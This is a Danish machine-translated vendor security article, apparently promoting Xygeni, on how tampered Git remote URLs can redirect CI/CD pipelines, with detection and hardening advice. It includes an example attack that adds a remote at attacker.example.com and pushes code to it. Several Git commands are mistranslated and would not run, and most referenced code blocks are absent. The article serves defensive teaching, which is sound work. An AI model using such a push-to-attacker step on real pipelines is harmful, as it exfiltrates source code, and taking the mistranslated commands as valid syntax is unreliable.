Den skjulte risiko bag en simpel Git-kommando
For de fleste udviklere er det at køre en kommando som git remote set-url origin føles rutinemæssigt, bare endnu et skridt i at vedligeholde Git-konfigurationen. CI-scripts udfører også ofte kommandoer som git remote set-url, Git set url for remote eller Git remote add for at hente eller pushe kode under builds. Men her er risikoen: Hvis en angriber manipulerer med den konfiguration (lokalt eller i CI), kan de omdirigere din kilde til et ondsindet arkiv, opfange legitimationsoplysninger eller injicere malware i forsyningskæden.
Eksempel på hvordan det typisk bruges:
# Legal brug
git fjerntliggende sæt-url oprindelse https://github.com/org/project.git
⚠️ Usikkert eksempel, kun til uddannelsesmæssige formål. Må ikke bruges i produktion.
Sikre version, pinkode og verificere arkivets oprindelse
Hvorfor? Hvis fjernbetjeningen skiftes til en angriberkontrolleret vært, peger hver efterfølgende git fetch/git push på skadelig kode. Hardcode betroede kilder, når det er muligt, og undgå uvaliderede dynamiske URL'er.
Hvordan fjernmanipulation kompromitterer konstruktionen Pipeline
En ændret Git-fjern-URL kan have alvorlige konsekvenser i automatiserede pipelines hvor scripts er implicit betroede.
Eksempelscenarie:
- Et CI-script bruger git remote set-url til dynamisk at omkonfigurere arkiver.
- En kompromitteret miljøvariabel (f.eks. token eller repo-URL) indsættes i scriptet.
- Bygget henter eller sender kode til et ondsindet lager.
- Angriberen indsætter bagdøre eller manipulerede afhængigheder.
⚠️ Usikkert eksempel, kun til uddannelsesmæssige formål. Må ikke bruges i produktion.
Sikker version, valider $REPO_URL før brug (whitelist / xygeni-verifikation).
Hvorfor: Valider indgående repo-URL'er mod en vedligeholdt hvidliste (eller brug xygeni verify --git-origin) før de reagerer på dem. Dette forhindrer angribere i at tilsidesætte miljøvariabler for at omdirigere pipelines.
Registrering af uautoriserede ændringer i fjernkonfiguration
Git advarer dig ikke, når en fjernbetjening ændres. Proaktiv overvågning af .git/config og integritetstjek før bygning er nødvendige.
Praktiske detektionsteknikker
Undersøg Git-konfigurationen:
Sammenlign output med forventede URL'er, der er gemt i en sikker basislinje.
Godkend
.git/configintegritet:Sammenlign kontrolsummen med en pålidelig basislinje.
CI-baseret validering:
Uddannelsesmæssig bemærkning: Kør ikke integritetstjek eller verifikationskommandoer med langvarige legitimationsoplysninger, der er eksponeret i logfiler eller ubeskyttede miljøer. Brug flygtige legitimationsoplysninger, "vaulted secrets", og undgå at udføre valideringskommandoer som en privilegeret bruger, hvor det er muligt.
Registreringstip: Se efter fjerntliggende enheder, der peger på ikke-kanoniske domæner (uventet .net, .io, IP-adresser), dublerede fjernnavne eller miljøvariabler, der styrer repository-URL'er uden validering. Tidlig detektion forhindrer git set-url manipulation fra forurenende bygninger.
Sikring af arkivoprindelse med Guardrails og hashvalidering
Forebyggelse betyder at håndhæve streng kontrol over, hvilke repositories du bygger fra. Guardrails omfatter signering, hashvalidering og begrænsning af, hvem der kan ændre CI-variabler.
Sikre praksisser for lagringsintegritet
Fastgør URL'er til arkiver, og hardcode betroede oprindelser, hvor det er muligt:
Valider hash-data i arkivet:
Bekræft at HEAD matcher en forventet hash før opbygning.
⚠️ Usikkert eksempel, udskrivning af tokens i logfiler (må ikke bruges i produktion).
Sikker version, læs hemmeligheder fra hvælvingen, og udskriv aldrig
Mini-tjekliste: Sikker Git-fjernstyring
- Gennemtving fjern-URL-hvidlistning eller verifikation.
- Valider .git/config-integriteten før builds.
- Kræv underskrift commits og tags.
- Begræns, hvem der kan ændre CI-miljøvariabler.
- Log udførelse af git remote set-url og git remote add til revision.
Integrering af Git Remote Set URL-validering i CI/CD Pipelines
Tilføj guardrails og automatiseret verifikation for at stoppe fjernmanipulation tidligt i processen pipeline.
Eksempel på Guardrail: tjek for dubletter eller uautoriserede fjernbetjeninger
Hærdning mod manipulation af forsyningskæden i delte miljøer
Delte runners og tilladte fjernkommandoer er højrisiko. Undgå kommandoer, der tilføjer ukontrollerede fjernbetjeninger under jobkørsel.
⚠️ Usikkert eksempel, tilføjelse af en angriberfjernbetjening (må ikke bruges).
Sikker version, begræns til validerede domæner og brug kun –set-url til godkendte oprindelser
Bemærk: Foretræk kortvarige løbere og undgå vedvarende delte caches mellem job.
Bemærkning om runners: Brug flygtige, isolerede runners, der genskabes for hvert job. Delte diske eller caches kan bevare manipulerede filer på tværs af builds.
Integrering af Git set URL til fjernvalidering i CI/CD Pipelines
Sikring af brugen af git remote set-url handler ikke kun om manuelle kontroller; det handler om automatisering. Moderne DevSecOps-arbejdsgange kan integrere validering direkte i CI/CD pipelines.
Eksempel: Automatiseret fjernintegritetsvalidering
Denne konfiguration sikrer, at før enhver build eller implementering kører, pipeline validerer:
- Lager-URL'en matcher den forventede værdi.
- Commit underskrifter er gyldige.
- Ingen uventede fjernbetjeninger blev tilføjet ved hjælp af git add remote.
Yderligere CI-kontroller
- Pre-commit hooksKontroller, at der ikke er uautoriserede git fjernbetjening sæt-url kommandoer findes i commits.
- Håndhævelse af politik som kode: Definer tilladte oprindelser som en del af versionsstyrede politikker.
- Afhængighedsspejling: Hent kode fra verificerede interne filspejle i stedet for direkte internetkilder.
Automatisering af disse kontroller forhindrer ikke kun fejlkonfigurationer, men registrerer også forsøg på manipulation af forsyningskæden, før koden overhovedet afsendes.
Hærdning mod manipulation af forsyningskæden i delte miljøer
Delte runners eller kortvarige CI-miljøer introducerer yderligere risici. Når flere builds deler ressourcer, kan git remote set-url- eller git add remote-kommandoer blive brugt som våben til at bevare ondsindede fjernprogrammer på tværs af sessioner.
Almindelige angrebsscenarier
Et kompromitteret byggescript tilføjer en ny fjernbetjening til at sende kode til en angribers arkiv:
git tilføj fjernbackup https://attacker.example.com/repo.git
git push backup main
- Et andet projekt, der kører på den samme CI-agent, henter data fra denne forurenede tilstand.
- Følsomme data som tokens eller build-artefakter lækker via uautoriserede pushes.
Hærdningsforanstaltninger
- Flygtige løbere: Nulstil CI-miljøer efter hver build.
- Netværksisolering: Begræns udgående trafik til godkendte domæner.
- Mindst privilegium: Begræns tilladelser for Git-operationer i pipelines.
- Artefaktsignering: Sørg for, at alle build-output er kryptografisk signeret og verificeret.
Ved at kombinere isolation, validering og overvågning kan teams neutralisere angreb, der udnytter git set url til fjernmanipulation.
Valider, overvåg og automatiser tillid til arkiver
En enkelt misbrugt git remote set-url eller ubekræftet git add remote kan lydløst omdirigere hele din byggeproces til et angriberkontrolleret repository. Grænsen mellem produktivitet og kompromittering i DevOps er tyndere end nogensinde, og softwareforsyningskædeangreb udnytte præcis det.
For at bevare tilliden til din pipelines:
- Valider løbende arkivets oprindelse.
- Gennemtving commit og artefaktsignering.
- Automatiser integritetstjek i alle faser af CI/CD.
Platformer som Xygeni Hjælp DevSecOps-teams med at opdage fjernkonfigurationsfejl, overvåge tillidsgrænser for repositories og blokere risici i forsyningskæden, der stammer fra misbrug af Git, før ondsindede fjernbrugere nogensinde får mulighed for at implementere kode.
Stol på din arbejdsgang, men bekræft din kildekode. Sådan forhindrer du git remote set-url i at blive dit næste sikkerhedsbrud.
